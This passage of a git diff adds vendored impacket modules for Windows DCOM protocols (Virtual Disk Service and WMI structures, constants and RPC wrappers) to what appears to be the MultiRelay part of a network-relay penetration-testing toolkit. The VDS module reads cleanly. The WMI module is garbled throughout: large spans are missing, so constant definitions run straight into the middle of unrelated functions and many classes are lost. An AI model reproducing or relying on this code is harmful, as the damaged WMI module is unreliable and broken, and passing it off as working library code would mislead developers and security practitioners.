IID_IVssDifferentialSoftwareSnapshotMgmt + + def QueryDiffAreasOnVolume(self, pwszVolumeName): + req = QueryDiffAreasOnVolume() + classInstance = self.get_cinstance() + req['ORPCthis'] = classInstance.get_ORPCthis() + req['ORPCthis']['flags'] = 0 + req['pwszVolumeName'] = pwszVolumeName + resp = self.request(req, self._iid, uuid = self.get_iPid()) + return IVssEnumMgmtObject(INTERFACE(self.get_cinstance(), ''.join(resp['ppEnum']['abData']), self.get_ipidRemUnknown(), target = self.get_target())) + + def QueryDiffAreasForVolume(self, pwszVolumeName): + req = QueryDiffAreasForVolume() + classInstance = self.get_cinstance() + req['ORPCthis'] = classInstance.get_ORPCthis() + req['ORPCthis']['flags'] = 0 + req['pwszVolumeName'] = pwszVolumeName + resp = self.request(req, self._iid, uuid = self.get_iPid()) + return IVssEnumMgmtObject(INTERFACE(self.get_cinstance(), ''.join(resp['ppEnum']['abData']), self.get_ipidRemUnknown(), target = self.get_target())) diff --git a/tools/MultiRelay/impacket-dev/impacket/dcerpc/v5/dcom/vds.py b/tools/MultiRelay/impacket-dev/impacket/dcerpc/v5/dcom/vds.py new file mode 100644 index 0000000..0e46797 --- /dev/null +++ b/tools/MultiRelay/impacket-dev/impacket/dcerpc/v5/dcom/vds.py @@ -0,0 +1,267 @@ +# SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. +# +# This software is provided under under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. +# +# Author: Alberto Solino (@agsolino) +# +# Description: +# [MS-VDS]: Virtual Disk Service (VDS) Protocol +# This was used as a way to test the DCOM runtime. Further +# testing is needed to verify it is working as expected +# +# Best way to learn how to use these calls is to grab the protocol standard +# so you understand what the call does, and then read the test case located +# at https://github.com/SecureAuthCorp/impacket/tree/master/tests/SMB_RPC +# +# Since DCOM is like an OO RPC, instead of helper functions you will see the +# classes described in the standards developed. +# There are test cases for them too. +# +from __future__ import division +from __future__ import print_function +from impacket.dcerpc.v5.ndr import NDRSTRUCT, NDRUniConformantVaryingArray, NDRENUM +from impacket.dcerpc.v5.dcomrt import DCOMCALL, DCOMANSWER, IRemUnknown2, PMInterfacePointer, INTERFACE +from impacket.dcerpc.v5.dtypes import LPWSTR, ULONG, DWORD, SHORT, GUID +from impacket.dcerpc.v5.rpcrt import DCERPCException +from impacket.dcerpc.v5.enum import Enum +from impacket import hresult_errors +from impacket.uuid import string_to_bin + +class DCERPCSessionError(DCERPCException): + def __init__(self, error_string=None, error_code=None, packet=None): + DCERPCException.__init__(self, error_string, error_code, packet) + + def __str__( self ): + if self.error_code in hresult_errors.ERROR_MESSAGES: + error_msg_short = hresult_errors.ERROR_MESSAGES[self.error_code][0] + error_msg_verbose = hresult_errors.ERROR_MESSAGES[self.error_code][1] + return 'VDS SessionError: code: 0x%x - %s - %s' % (self.error_code, error_msg_short, error_msg_verbose) + else: + return 'VDS SessionError: unknown error code: 0x%x' % (self.error_code) + +################################################################################ +# CONSTANTS +################################################################################ +# 1.9 Standards Assignments +CLSID_VirtualDiskService = string_to_bin('7D1933CB-86F6-4A98-8628-01BE94C9A575') +IID_IEnumVdsObject = string_to_bin('118610B7-8D94-4030-B5B8-500889788E4E') +IID_IVdsAdviseSink = string_to_bin('8326CD1D-CF59-4936-B786-5EFC08798E25') +IID_IVdsAsync = string_to_bin('D5D23B6D-5A55-4492-9889-397A3C2D2DBC') +IID_IVdsServiceInitialization = string_to_bin('4AFC3636-DB01-4052-80C3-03BBCB8D3C69') +IID_IVdsService = string_to_bin('0818A8EF-9BA9-40D8-A6F9-E22833CC771E') +IID_IVdsSwProvider = string_to_bin('9AA58360-CE33-4F92-B658-ED24B14425B8') +IID_IVdsProvider = string_to_bin('10C5E575-7984-4E81-A56B-431F5F92AE42') + +error_status_t = ULONG + +# 2.2.1.1.3 VDS_OBJECT_ID +VDS_OBJECT_ID = GUID + +################################################################################ +# STRUCTURES +################################################################################ +# 2.2.2.1.3.1 VDS_SERVICE_PROP +class VDS_SERVICE_PROP(NDRSTRUCT): + structure = ( + ('pwszVersion',LPWSTR), + ('ulFlags',ULONG), + ) + +class OBJECT_ARRAY(NDRUniConformantVaryingArray): + item = PMInterfacePointer + +# 2.2.2.7.1.1 VDS_PROVIDER_TYPE +class VDS_PROVIDER_TYPE(NDRENUM): + class enumItems(Enum): + VDS_PT_UNKNOWN = 0 + VDS_PT_SOFTWARE = 1 + VDS_PT_HARDWARE = 2 + VDS_PT_VIRTUALDISK = 3 + VDS_PT_MAX = 4 + +# 2.2.2.7.2.1 VDS_PROVIDER_PROP +class VDS_PROVIDER_PROP(NDRSTRUCT): + structure = ( + ('id',VDS_OBJECT_ID), + ('pwszName',LPWSTR), + ('guidVersionId',GUID), + ('pwszVersion',LPWSTR), + ('type',VDS_PROVIDER_TYPE), + ('ulFlags',ULONG), + ('ulStripeSizeFlags',ULONG), + ('sRebuildPriority',SHORT), + ) + +################################################################################ +# RPC CALLS +################################################################################ + +# 3.4.5.2.5.1 IVdsServiceInitialization::Initialize (Opnum 3) +class IVdsServiceInitialization_Initialize(DCOMCALL): + opnum = 3 + structure = ( + ('pwszMachineName', LPWSTR), + ) + +class IVdsServiceInitialization_InitializeResponse(DCOMANSWER): + structure = ( + ('ErrorCode', error_status_t), + ) + +# 3.4.5.2.4.1 IVdsService::IsServiceReady (Opnum 3) +class IVdsService_IsServiceReady(DCOMCALL): + opnum = 3 + structure = ( + ) + +class IVdsService_IsServiceReadyResponse(DCOMANSWER): + structure = ( + ('ErrorCode', error_status_t), + ) + +# 3.4.5.2.4.2 IVdsService::WaitForServiceReady (Opnum 4) +class IVdsService_WaitForServiceReady(DCOMCALL): + opnum = 4 + structure = ( + ) + +class IVdsService_WaitForServiceReadyResponse(DCOMANSWER): + structure = ( + ('ErrorCode', error_status_t), + ) + +# 3.4.5.2.4.3 IVdsService::GetProperties (Opnum 5) +class IVdsService_GetProperties(DCOMCALL): + opnum = 5 + structure = ( + ) + +class IVdsService_GetPropertiesResponse(DCOMANSWER): + structure = ( + ('pServiceProp', VDS_SERVICE_PROP), + ('ErrorCode', error_status_t), + ) + +# 3.4.5.2.4.4 IVdsService::QueryProviders (Opnum 6) +class IVdsService_QueryProviders(DCOMCALL): + opnum = 6 + structure = ( + ('masks', DWORD), + ) + +class IVdsService_QueryProvidersResponse(DCOMANSWER): + structure = ( + ('ppEnum', PMInterfacePointer), + ('ErrorCode', error_status_t), + ) + +# 3.1.1.1 IEnumVdsObject Interface +# 3.4.5.2.1.1 IEnumVdsObject::Next (Opnum 3) +class IEnumVdsObject_Next(DCOMCALL): + opnum = 3 + structure = ( + ('celt', ULONG), + ) + +class IEnumVdsObject_NextResponse(DCOMANSWER): + structure = ( + ('ppObjectArray', OBJECT_ARRAY), + ('pcFetched', ULONG), + ('ErrorCode', error_status_t), + ) +# 3.4.5.2.14.1 IVdsProvider::GetProperties (Opnum 3) +class IVdsProvider_GetProperties(DCOMCALL): + opnum = 3 + structure = ( + ) + +class IVdsProvider_GetPropertiesResponse(DCOMANSWER): + structure = ( + ('pProviderProp', VDS_PROVIDER_PROP), + ('ErrorCode', error_status_t), + ) + +################################################################################ +# OPNUMs and their corresponding structures +################################################################################ +OPNUMS = { +} + +################################################################################ +# HELPER FUNCTIONS AND INTERFACES +################################################################################ +class IEnumVdsObject(IRemUnknown2): + def Next(self, celt=0xffff): + request = IEnumVdsObject_Next() + request['ORPCthis'] = self.get_cinstance().get_ORPCthis() + request['ORPCthis']['flags'] = 0 + request['celt'] = celt + try: + resp = self.request(request, uuid = self.get_iPid()) + except Exception as e: + resp = e.get_packet() + # If it is S_FALSE(1) means less items were returned + if resp['ErrorCode'] != 1: + raise + interfaces = list() + for interface in resp['ppObjectArray']: + interfaces.append(IRemUnknown2(INTERFACE(self.get_cinstance(), ''.join(interface['abData']), self.get_ipidRemUnknown(), target = self.get_target()))) + return interfaces + +class IVdsProvider(IRemUnknown2): + def GetProperties(self): + request = IVdsProvider_GetProperties() + request['ORPCthis'] = self.get_cinstance().get_ORPCthis() + request['ORPCthis']['flags'] = 0 + resp = self.request(request, uuid = self.get_iPid()) + return resp + +class IVdsServiceInitialization(IRemUnknown2): + def __init__(self, interface): + IRemUnknown2.__init__(self, interface) + + def Initialize(self): + request = IVdsServiceInitialization_Initialize() + request['ORPCthis'] = self.get_cinstance().get_ORPCthis() + request['ORPCthis']['flags'] = 0 + request['pwszMachineName'] = '\x00' + resp = self.request(request, uuid = self.get_iPid()) + return resp + +class IVdsService(IRemUnknown2): + def __init__(self, interface): + IRemUnknown2.__init__(self, interface) + + def IsServiceReady(self): + request = IVdsService_IsServiceReady() + request['ORPCthis'] = self.get_cinstance().get_ORPCthis() + request['ORPCthis']['flags'] = 0 + try: + resp = self.request(request, uuid = self.get_iPid()) + except Exception as e: + resp = e.get_packet() + return resp + + def WaitForServiceReady(self): + request = IVdsService_WaitForServiceReady() + request['ORPCthis'] = self.get_cinstance().get_ORPCthis() + request['ORPCthis']['flags'] = 0 + resp = self.request(request, uuid = self.get_iPid()) + return resp + + def GetProperties(self): + request = IVdsService_GetProperties() + request['ORPCthis'] = self.get_cinstance().get_ORPCthis() + request['ORPCthis']['flags'] = 0 + resp = self.request(request, uuid = self.get_iPid()) + return resp + + def QueryProviders(self, masks): + request = IVdsService_QueryProviders() + request['ORPCthis'] = self.get_cinstance().get_ORPCthis() + request['ORPCthis']['flags'] = 0 + request['masks'] = masks + resp = self.request(request, uuid = self.get_iPid()) + return IEnumVdsObject(INTERFACE(self.get_cinstance(), ''.join(resp['ppEnum']['abData']), self.get_ipidRemUnknown(), target = self.get_target())) diff --git a/tools/MultiRelay/impacket-dev/impacket/dcerpc/v5/dcom/wmi.py b/tools/MultiRelay/impacket-dev/impacket/dcerpc/v5/dcom/wmi.py new file mode 100644 index 0000000..c8affc3 --- /dev/null +++ b/tools/MultiRelay/impacket-dev/impacket/dcerpc/v5/dcom/wmi.py @@ -0,0 +1,3250 @@ +# SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. +# +# This software is provided under under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. +# +# Author: Alberto Solino (@agsolino) +# +# Description: +# [MS-WMI]/[MS-WMIO] : Windows Management Instrumentation Remote Protocol. Partial implementation +# +# Best way to learn how to use these calls is to grab the protocol standard +# so you understand what the call does, and then read the test case located +# at https://github.com/SecureAuthCorp/impacket/tree/master/tests/SMB_RPC +# +# Since DCOM is like an OO RPC, instead of helper functions you will see the +# classes described in the standards developed. +# There are test cases for them too. +# +from __future__ import division +from __future__ import print_function +from struct import unpack, calcsize, pack +from functools import partial +import collections +import logging + +from impacket.dcerpc.v5.ndr import NDRSTRUCT, NDRUniConformantArray, NDRPOINTER, NDRUniConformantVaryingArray, NDRUNION, \ + NDRENUM +from impacket.dcerpc.v5.dcomrt import DCOMCALL, DCOMANSWER, IRemUnknown, PMInterfacePointer, INTERFACE, \ + PMInterfacePointer_ARRAY, BYTE_ARRAY, PPMInterfacePointer, OBJREF_CUSTOM +from impacket.dcerpc.v5.dcom.oaut import BSTR +from impacket.dcerpc.v5.dtypes import ULONG, DWORD, NULL, LPWSTR, LONG, HRESULT, PGUID, LPCSTR, GUID +from impacket.dcerpc.v5.enum import Enum +from impacket.dcerpc.v5.rpcrt import DCERPCException +from impacket import hresult_errors, LOG +from impacket.uuid import string_to_bin, uuidtup_to_bin +from impacket.structure import Structure, hexdump + + +def format_structure(d, level=0): + x = "" + if isinstance(d, collections.Mapping): + lenk = max([len(str(x)) for x in list(d.keys())]) + for k, v in list(d.items()): + key_text = "\n" + " "*level + " "*(lenk - len(str(k))) + str(k) + x += key_text + ": " + format_structure(v, level=level+lenk) + elif isinstance(d, collections.Iterable) and not isinstance(d, str): + for e in d: + x += "\n" + " "*level + "- " + format_structure(e, level=level+4) + else: + x = str(d) + return x +try: + from collections import OrderedDict +except: + try: + from ordereddict.ordereddict import OrderedDict + except: + from ordereddict import OrderedDict + +class DCERPCSessionError(DCERPCException): + def __init__(self, error_string=None, error_code=None, packet=None): + DCERPCException.__init__(self, error_string, error_code, packet) + + def __str__( self ): + if self.error_code in hresult_errors.ERROR_MESSAGES: + error_msg_short = hresult_errors.ERROR_MESSAGES[self.error_code][0] + error_msg_verbose = hresult_errors.ERROR_MESSAGES[self.error_code][1] + return 'WMI SessionError: code: 0x%x - %s - %s' % (self.error_code, error_msg_short, error_msg_verbose) + else: + # Let's see if we have it as WBEMSTATUS + try: + return 'WMI Session Error: code: 0x%x - %s' % (self.error_code, WBEMSTATUS.enumItems(self.error_code).name) + except: + return 'WMI SessionError: unknown error code: 0x%x' % self.error_code + +################################################################################ +# WMIO Structures and Constants +################################################################################ +WBEM_FLAVOR_FLAG_PROPAGATE_O_INSTANCE = 0x01 +WBEM_FLAVOR_FLAG_PROPAGATE_O_DERIVED_CLASS = 0x02 +WBEM_FLAVOR_NOT_OVERRIDABLE = 0x10 +WBEM_FLAVOR_ORIGIN_PROPAGATED = 0x20 +WBEM_FLAVOR_ORIGIN_SYSTEM = 0x40 +WBEM_FLAVOR_AMENDED = 0x80 + +# 2.2.6 ObjectFlags +OBJECT_FLAGS = 'B=0' + +#2.2.77 Signature +SIGNATURE = ' 1: + if self['Encoded_String_Flag'] == 0: + self.structure += self.tascii + # Let's search for the end of the string + index = data[1:].find(b'\x00') + data = data[:index+1+1] + else: + self.structure = self.tunicode + self.isUnicode = True + + self.fromString(data) + else: + self.structure = self.tascii + self.data = None + + def __getitem__(self, key): + if key == 'Character' and self.isUnicode: + return self.fields['Character'].decode('utf-16le') + return Structure.__getitem__(self, key) + + +# 2.2.8 DecServerName +DEC_SERVER_NAME = ENCODED_STRING + +# 2.2.9 DecNamespaceName +DEC_NAMESPACE_NAME = ENCODED_STRING + +# 2.2.7 Decoration +class DECORATION(Structure): + structure = ( + ('DecServerName', ':', DEC_SERVER_NAME), + ('DecNamespaceName', ':', DEC_NAMESPACE_NAME), + ) + +# 2.2.69 HeapRef +HEAPREF = ' 0: + itemn = QUALIFIER(data) + if itemn['QualifierName'] == 0xffffffff: + qName = b'' + elif itemn['QualifierName'] & 0x80000000: + qName = DICTIONARY_REFERENCE[itemn['QualifierName'] & 0x7fffffff] + else: + qName = ENCODED_STRING(heap[itemn['QualifierName']:])['Character'] + + value = ENCODED_VALUE.getValue(itemn['QualifierType'], itemn['QualifierValue'], heap) + qualifiers[qName] = value + data = data[len(itemn):] + + return qualifiers + +# 2.2.20 ClassQualifierSet +CLASS_QUALIFIER_SET = QUALIFIER_SET + +# 2.2.22 PropertyCount +PROPERTY_COUNT = ' 0: + record = QUALIFIER(qualifiersBuf) + if record['QualifierName'] & 0x80000000: + qualifierName = DICTIONARY_REFERENCE[record['QualifierName'] & 0x7fffffff] + else: + qualifierName = ENCODED_STRING(heap[record['QualifierName']:])['Character'] + qualifierValue = ENCODED_VALUE.getValue(record['QualifierType'], record['QualifierValue'], heap) + qualifiersBuf = qualifiersBuf[len(record):] + qualifiers[qualifierName] = qualifierValue + + propItemDict['qualifiers'] = qualifiers + properties[propName] = propItemDict + + propTable = propTable[self.PropertyLookupSize:] + + return OrderedDict(sorted(list(properties.items()), key=lambda x:x[1]['order'])) + #return properties + +# 2.2.66 Heap +HEAP_LENGTH = ' 0: + value = ENCODED_VALUE.getValue(properties[key]['type'], itemValue, heap) + properties[key]['value'] = "%s" % value + valueTable = valueTable[dataSize:] + return properties + +# 2.2.39 MethodCount +METHOD_COUNT = ' 0: + methodDict['InParams'] = inputSignature['ObjectBlock']['ClassType']['CurrentClass'].getProperties() + methodDict['InParamsRaw'] = inputSignature['ObjectBlock'] + #print methodDict['InParams'] + else: + methodDict['InParams'] = None + if itemn['OutputSignature'] != 0xffffffff: + outputSignature = METHOD_SIGNATURE_BLOCK(heap[itemn['OutputSignature']:]) + if outputSignature['EncodingLength'] > 0: + methodDict['OutParams'] = outputSignature['ObjectBlock']['ClassType']['CurrentClass'].getProperties() + methodDict['OutParamsRaw'] = outputSignature['ObjectBlock'] + else: + methodDict['OutParams'] = None + data = data[len(itemn):] + methods[methodDict['name']] = methodDict + + return methods + +# 2.2.14 ClassAndMethodsPart +class CLASS_AND_METHODS_PART(Structure): + structure = ( + ('ClassPart', ':', CLASS_PART), + ('MethodsPart', ':', METHODS_PART), + ) + + def getClassName(self): + pClassName = self['ClassPart']['ClassHeader']['ClassNameRef'] + cHeap = self['ClassPart']['ClassHeap']['HeapItem'] + if pClassName == 0xffffffff: + return 'None' + else: + className = ENCODED_STRING(cHeap[pClassName:])['Character'] + derivationList = self['ClassPart']['DerivationList']['ClassNameEncoding'] + while len(derivationList) > 0: + superClass = ENCODED_STRING(derivationList)['Character'] + className += ' : %s ' % superClass + derivationList = derivationList[len(ENCODED_STRING(derivationList))+4:] + return className + + def getQualifiers(self): + return self["ClassPart"].getQualifiers() + + def getProperties(self): + #print format_structure(self["ClassPart"].getProperties()) + return self["ClassPart"].getProperties() + + def getMethods(self): + return self["MethodsPart"].getMethods() + +# 2.2.13 CurrentClass +CURRENT_CLASS = CLASS_AND_METHODS_PART + +# 2.2.54 InstanceFlags +INSTANCE_FLAGS = 'B=0' + +# 2.2.55 InstanceClassName +INSTANCE_CLASS_NAME = HEAP_STRING_REF + +# 2.2.27 NullAndDefaultFlag +NULL_AND_DEFAULT_FLAG = 'B=0' + +# 2.2.26 NdTable +NDTABLE = NULL_AND_DEFAULT_FLAG + +# 2.2.56 InstanceData +#InstanceData = ValueTable + +class CURRENT_CLASS_NO_METHODS(CLASS_AND_METHODS_PART): + structure = ( + ('ClassPart', ':', CLASS_PART), + ) + def getMethods(self): + return () + +# 2.2.65 InstancePropQualifierSet +INST_PROP_QUAL_SET_FLAG = 'B=0' +class INSTANCE_PROP_QUALIFIER_SET(Structure): + commonHdr = ( + ('InstPropQualSetFlag', INST_PROP_QUAL_SET_FLAG), + ) + tail = ( + # ToDo: this is wrong.. this should be an array of QualifierSet, see documentation + #('QualifierSet', ':', QualifierSet), + ('QualifierSet', ':', QUALIFIER_SET), + ) + + def __init__(self, data = None, alignment = 0): + Structure.__init__(self, data, alignment) + self.structure = () + if data is not None: + # Let's first check the commonHdr + self.fromString(data) + if self['InstPropQualSetFlag'] == 2: + # We don't support this yet! + raise Exception("self['InstPropQualSetFlag'] == 2") + self.fromString(data) + else: + self.data = None + +# 2.2.57 InstanceQualifierSet +class INSTANCE_QUALIFIER_SET(Structure): + structure = ( + ('QualifierSet', ':', QUALIFIER_SET), + ('InstancePropQualifierSet', ':', INSTANCE_PROP_QUALIFIER_SET), + ) + +# 2.2.58 InstanceHeap +INSTANCE_HEAP = HEAP + +# 2.2.53 InstanceType +class INSTANCE_TYPE(Structure): + commonHdr = ( + ('CurrentClass', ':', CURRENT_CLASS_NO_METHODS), + ('EncodingLength', ENCODING_LENGTH), + ('InstanceFlags', INSTANCE_FLAGS), + ('InstanceClassName', INSTANCE_CLASS_NAME), + ('_NdTable_ValueTable', '_-NdTable_ValueTable', + 'self["CurrentClass"]["ClassPart"]["ClassHeader"]["NdTableValueTableLength"]'), + ('NdTable_ValueTable',':'), + ('InstanceQualifierSet', ':', INSTANCE_QUALIFIER_SET), + ('InstanceHeap', ':', INSTANCE_HEAP), + ) + + def __init__(self, data = None, alignment = 0): + Structure.__init__(self, data, alignment) + self.structure = () + if data is not None: + # Let's first check the commonHdr + self.fromString(data) + #hexdump(data[len(self.getData()):]) + self.NdTableSize = (self['CurrentClass']['ClassPart']['PropertyLookupTable']['PropertyCount'] - 1) //4 + 1 + #self.InstanceDataSize = self['CurrentClass']['ClassPart']['PropertyLookupTable']['PropertyCount'] * len(InstanceData()) + self.fromString(data) + else: + self.data = None + + def getValues(self, properties): + heap = self["InstanceHeap"]["HeapItem"] + valueTableOff = (len(properties) - 1) // 4 + 1 + valueTable = self['NdTable_ValueTable'][valueTableOff:] + sorted_props = sorted(list(properties.keys()), key=lambda k: properties[k]['order']) + for key in sorted_props: + pType = properties[key]['type'] & (~(CIM_ARRAY_FLAG|Inherited)) + if properties[key]['type'] & CIM_ARRAY_FLAG: + unpackStr = HEAPREF[:-2] + else: + unpackStr = CIM_TYPES_REF[pType][:-2] + dataSize = calcsize(unpackStr) + try: + itemValue = unpack(unpackStr, valueTable[:dataSize])[0] + except: + LOG.error("getValues: Error Unpacking!") + itemValue = 0xffffffff + + # if itemValue == 0, default value remains + if itemValue != 0: + value = ENCODED_VALUE.getValue( properties[key]['type'], itemValue, heap) + properties[key]['value'] = value + # is the value set valid or should we clear it? ( if not inherited ) + elif properties[key]['inherited'] == 0: + properties[key]['value'] = None + valueTable = valueTable[dataSize:] + return properties + +# 2.2.12 ParentClass +PARENT_CLASS = CLASS_AND_METHODS_PART + +# 2.2.13 CurrentClass +CURRENT_CLASS = CLASS_AND_METHODS_PART + +class CLASS_TYPE(Structure): + structure = ( + ('ParentClass', ':', PARENT_CLASS), + ('CurrentClass', ':', CURRENT_CLASS), + ) + +# 2.2.5 ObjectBlock +class OBJECT_BLOCK(Structure): + commonHdr = ( + ('ObjectFlags', OBJECT_FLAGS), + ) + + decoration = ( + ('Decoration', ':', DECORATION), + ) + + instanceType = ( + ('InstanceType', ':', INSTANCE_TYPE), + ) + + classType = ( + ('ClassType', ':', CLASS_TYPE), + ) + def __init__(self, data = None, alignment = 0): + Structure.__init__(self, data, alignment) + self.ctParent = None + self.ctCurrent = None + + if data is not None: + self.structure = () + if ord(data[0:1]) & 0x4: + # WMIO - 2.2.6 - 0x04 If this flag is set, the object has a Decoration block. + self.structure += self.decoration + if ord(data[0:1]) & 0x01: + # The object is a CIM class. + self.structure += self.classType + else: + self.structure += self.instanceType + + self.fromString(data) + else: + self.data = None + + def isInstance(self): + if self['ObjectFlags'] & 0x01: + return False + return True + + def printClass(self, pClass, cInstance = None): + qualifiers = pClass.getQualifiers() + + for qualifier in qualifiers: + print("[%s]" % qualifier) + + className = pClass.getClassName() + + print("class %s \n{" % className) + + properties = pClass.getProperties() + if cInstance is not None: + properties = cInstance.getValues(properties) + + for pName in properties: + #if property['inherited'] == 0: + qualifiers = properties[pName]['qualifiers'] + for qName in qualifiers: + if qName != 'CIMTYPE': + print('\t[%s(%s)]' % (qName, qualifiers[qName])) + print("\t%s %s" % (properties[pName]['stype'], properties[pName]['name']), end=' ') + if properties[pName]['value'] is not None: + if properties[pName]['type'] == CIM_TYPE_ENUM.CIM_TYPE_OBJECT.value: + print('= IWbemClassObject\n') + elif properties[pName]['type'] == CIM_TYPE_ENUM.CIM_ARRAY_OBJECT.value: + if properties[pName]['value'] == 0: + print('= %s\n' % properties[pName]['value']) + else: + print('= %s\n' % list('IWbemClassObject' for _ in range(len(properties[pName]['value'])))) + else: + print('= %s\n' % properties[pName]['value']) + else: + print('\n') + + print() + methods = pClass.getMethods() + for methodName in methods: + for qualifier in methods[methodName]['qualifiers']: + print('\t[%s]' % qualifier) + + if methods[methodName]['InParams'] is None and methods[methodName]['OutParams'] is None: + print('\t%s %s();\n' % ('void', methodName)) + if methods[methodName]['InParams'] is None and len(methods[methodName]['OutParams']) == 1: + print('\t%s %s();\n' % (methods[methodName]['OutParams']['ReturnValue']['stype'], methodName)) + else: + returnValue = b'' + if methods[methodName]['OutParams'] is not None: + # Search the Return Value + #returnValue = (item for item in method['OutParams'] if item["name"] == "ReturnValue").next() + if 'ReturnValue' in methods[methodName]['OutParams']: + returnValue = methods[methodName]['OutParams']['ReturnValue']['stype'] + + print('\t%s %s(\n' % (returnValue, methodName), end=' ') + if methods[methodName]['InParams'] is not None: + for pName in methods[methodName]['InParams']: + print('\t\t[in] %s %s,' % (methods[methodName]['InParams'][pName]['stype'], pName)) + + if methods[methodName]['OutParams'] is not None: + for pName in methods[methodName]['OutParams']: + if pName != 'ReturnValue': + print('\t\t[out] %s %s,' % (methods[methodName]['OutParams'][pName]['stype'], pName)) + + print('\t);\n') + + print("}") + + def parseClass(self, pClass, cInstance = None): + classDict = OrderedDict() + classDict['name'] = pClass.getClassName() + classDict['qualifiers'] = pClass.getQualifiers() + classDict['properties'] = pClass.getProperties() + classDict['methods'] = pClass.getMethods() + if cInstance is not None: + classDict['values'] = cInstance.getValues(classDict['properties']) + else: + classDict['values'] = None + + return classDict + + def parseObject(self): + if (self['ObjectFlags'] & 0x01) == 0: + # instance + ctCurrent = self['InstanceType']['CurrentClass'] + currentName = ctCurrent.getClassName() + if currentName is not None: + self.ctCurrent = self.parseClass(ctCurrent, self['InstanceType']) + return + else: + ctParent = self['ClassType']['ParentClass'] + ctCurrent = self['ClassType']['CurrentClass'] + + parentName = ctParent.getClassName() + if parentName is not None: + self.ctParent = self.parseClass(ctParent) + + currentName = ctCurrent.getClassName() + if currentName is not None: + self.ctCurrent = self.parseClass(ctCurrent) + + def printInformation(self): + # First off, do we have a class? + if (self['ObjectFlags'] & 0x01) == 0: + # instance + ctCurrent = self['InstanceType']['CurrentClass'] + currentName = ctCurrent.getClassName() + if currentName is not None: + self.printClass(ctCurrent, self['InstanceType']) + return + else: + ctParent = self['ClassType']['ParentClass'] + ctCurrent = self['ClassType']['CurrentClass'] + + parentName = ctParent.getClassName() + if parentName is not None: + self.printClass(ctParent) + + currentName = ctCurrent.getClassName() + if currentName is not None: + self.printClass(ctCurrent) + +# 2.2.70 MethodSignatureBlock +class METHOD_SIGNATURE_BLOCK(Structure): + commonHdr = ( + ('EncodingLength', ENCODING_LENGTH), + ) + tail = ( + ('_ObjectBlock', '_-ObjectBlock', 'self["EncodingLength"]'), + ('ObjectBlock', ':', OBJECT_BLOCK), + ) + def __init__(self, data = None, alignment = 0): + Structure.__init__(self, data, alignment) + if data is not None: + self.fromString(data) + if self['EncodingLength'] > 0: + self.structure = () + self.structure += self.tail + self.fromString(data) + else: + self.data = None + +# 2.2.1 EncodingUnit +class ENCODING_UNIT(Structure): + structure = ( + ('Signature', SIGNATURE), + ('ObjectEncodingLength', OBJECT_ENCODING_LENGTH), + ('_ObjectBlock', '_-ObjectBlock', 'self["ObjectEncodingLength"]'), + ('ObjectBlock', ':', OBJECT_BLOCK), + ) + +################################################################################ +# CONSTANTS +################################################################################ +# 1.9 Standards Assignments +CLSID_WbemLevel1Login = string_to_bin('8BC3F05E-D86B-11D0-A075-00C04FB68820') +CLSID_WbemBackupRestore = string_to_bin('C49E32C6-BC8B-11D2-85D4-00105A1F8304') +CLSID_WbemClassObject = string_to_bin('4590F812-1D3A-11D0-891F-00AA004B2E24') + +IID_IWbemLevel1Login = uuidtup_to_bin(('F309AD18-D86A-11d0-A075-00C04FB68820', '0.0')) +IID_IWbemLoginClientID = uuidtup_to_bin(('d4781cd6-e5d3-44df-ad94-930efe48a887', '0.0')) +IID_IWbemLoginHelper = uuidtup_to_bin(('541679AB-2E5F-11d3-B34E-00104BCC4B4A', '0.0')) +IID_IWbemServices = uuidtup_to_bin(('9556DC99-828C-11CF-A37E-00AA003240C7', '0.0')) +IID_IWbemBackupRestore = uuidtup_to_bin(('C49E32C7-BC8B-11d2-85D4-00105A1F8304', '0.0')) +IID_IWbemBackupRestoreEx = uuidtup_to_bin(('A359DEC5-E813-4834-8A2A-BA7F1D777D76', '0.0')) +IID_IWbemClassObject = uuidtup_to_bin(('DC12A681-737F-11CF-884D-00AA004B2E24', '0.0')) +IID_IWbemContext = uuidtup_to_bin(('44aca674-e8fc-11d0-a07c-00c04fb68820', '0.0')) +IID_IEnumWbemClassObject = uuidtup_to_bin(('027947e1-d731-11ce-a357-000000000001', '0.0')) +IID_IWbemCallResult = uuidtup_to_bin(('44aca675-e8fc-11d0-a07c-00c04fb68820', '0.0')) +IID_IWbemFetchSmartEnum = uuidtup_to_bin(('1C1C45EE-4395-11d2-B60B-00104B703EFD', '0.0')) +IID_IWbemWCOSmartEnum = uuidtup_to_bin(('423EC01E-2E35-11d2-B604-00104B703EFD', '0.0')) + +error_status_t = ULONG + +# lFlags +WBEM_FLAG_RETURN_WBEM_COMPLETE = 0x00000000 +WBEM_FLAG_UPDATE_ONLY = 0x00000001 +WBEM_FLAG_CREATE_ONLY = 0x00000002 +WBEM_FLAG_RETURN_IMMEDIATELY = 0x00000010 +WBEM_FLAG_UPDATE_SAFE_MODE = 0x00000020 +WBEM_FLAG_FORWARD_ONLY = 0x00000020 +WBEM_FLAG_NO_ERROR_OBJECT = 0x00000040 +WBEM_FLAG_UPDATE_FORCE_MODE = 0x00000040 +WBEM_FLAG_SEND_STATUS = 0x00000080 +WBEM_FLAG_ENSURE_LOCATABLE = 0x00000100 +WBEM_FLAG_DIRECT_READ = 0x00000200 +WBEM_MASK_RESERVED_FLAGS = 0x0001F000 +WBEM_FLAG_USE_AMENDED_QUALIFIERS = 0x00020000 +WBEM_FLAG_STRONG_VALIDATION = 0x00100000 +WBEM_FLAG_BACKUP_RESTORE_FORCE_SHUTDOWN = 0x00000001 + +WBEM_INFINITE = 0xffffffff + +################################################################################ +# STRUCTURES +################################################################################ +class UCHAR_ARRAY_CV(NDRUniConformantVaryingArray): + item = 'c' + +class PUCHAR_ARRAY_CV(NDRPOINTER): + referent = ( + ('Data', UCHAR_ARRAY_CV), + ) + +class PMInterfacePointer_ARRAY_CV(NDRUniConformantVaryingArray): + item = PMInterfacePointer + +REFGUID = PGUID + +class ULONG_ARRAY(NDRUniConformantArray): + item = ULONG + +class PULONG_ARRAY(NDRPOINTER): + referent = ( + ('Data', ULONG_ARRAY), + ) + +# 2.2.5 WBEM_CHANGE_FLAG_TYPE Enumeration +class WBEM_CHANGE_FLAG_TYPE(NDRENUM): + # [v1_enum] type + structure = ( + ('Data', '>= 8 + + # Now let's update the structure + objRef = self.get_objRef() + objRef = OBJREF_CUSTOM(objRef) + encodingUnit = ENCODING_UNIT(objRef['pObjectData']) + 